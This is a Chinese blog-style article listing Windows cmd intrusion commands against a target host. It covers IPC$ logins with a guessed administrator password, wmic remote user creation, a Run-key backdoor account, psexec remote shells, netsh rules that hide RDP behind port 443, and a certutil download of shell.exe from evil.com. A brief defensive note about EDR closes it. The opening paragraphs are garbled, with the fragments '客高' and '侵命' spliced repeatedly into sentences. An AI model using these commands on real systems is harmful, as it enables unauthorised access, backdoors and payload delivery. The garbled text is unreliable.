cmd黑客高级入侵命令

黑底绿字的客高cmd窗口里，敲下`net use \\192.168.1.1\ipc$ /user:administrator 123456`，侵命如果对方没关139/445端口，客高这行命令等于直接递了把钥匙。侵命别误会，客高我不是侵命教你犯罪——这玩意儿在渗透测试报告里躺了二十年，现在依然管用。客高Windows的侵命IPC$共享就像老房子的大门，锁芯锈了，客高但没人换。侵命

真正让新手懵圈的客高，是侵命`wmic`。这命令能查进程、客高杀进程、侵命远程执行，客高甚至改注册表。比如`wmic /node:192.168.1.1 process call create "cmd.exe /c net user hacker P@ss123 /add"`，一行下去，对方系统里多了个管理员账户。你说吓人不吓人？但更吓人的是，很多运维至今不知道`wmic`还能这么玩——他们以为这只是个查系统信息的工具。

再说个骚操作：`reg add`配合远程注册表服务。前提是你已经拿到对方管理员权限，然后`reg add \\192.168.1.1\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d "C:\Windows\System32\cmd.exe /c net user hacker P@ss123 /add"`。这招狠在哪儿？它把命令写进启动项，对方重启后，你的后门账户自动复活。就像在人家门框上画了个记号，每次开门都能看见，但主人永远发现不了。

别以为只有GUI工具才能搞事情。`psexec`虽然是Sysinternals的合法工具，但黑客用它比用Metasploit还顺手。`psexec \\192.168.1.1 -u admin -p pass cmd.exe`，直接弹个远程shell，比telnet干净多了。这玩意儿不走常规端口，走的是445的SMB管道——防火墙以为是正常文件共享流量呢。

说到防火墙，`netsh`才是隐藏大佬。`netsh advfirewall firewall add rule name="allow" dir=in action=allow protocol=TCP localport=3389`——这行命令能帮你远程桌面。但更骚的是`netsh interface portproxy add v4tov4 listenport=443 connectaddress=192.168.1.2 connectport=3389`，把3389藏在443端口后面。HTTPS流量谁拦？没人拦。这招我亲眼见过一个老白帽用，他管这叫“给老虎装猫铃铛”。

最后提个冷门的：`certutil`。微软自带这工具本来是管理证书的，但黑客拿它下载文件——`certutil -urlcache -split -f http://evil.com/shell.exe C:\Windows\Temp\svc.exe`。为什么用它？因为安全软件默认信任微软签名程序，且它走的是WinHTTP栈，很多代理日志直接放行。你说这算不算“灯下黑”？

说句实在话，这些命令如今大多能被EDR拦下，但前提是你装了EDR。我见过太多中小公司，服务器裸奔在公网上，防火墙规则松得像渔网。别高估黑客的技术，他们用的就是这些老掉牙的命令——只是你连“老掉牙”的门都没关紧。

写这文章不是教你当黑客，而是让你知道：cmd窗口里那几行看似平淡的字母，组合起来能撬开一台机器的所有秘密。下次你看到运维同事在键盘上敲`net use`，不妨多问一句：“兄弟，这命令是干嘛用的？”他要是答不上来，那你的系统离被入侵，也就差一个扫描器的距离。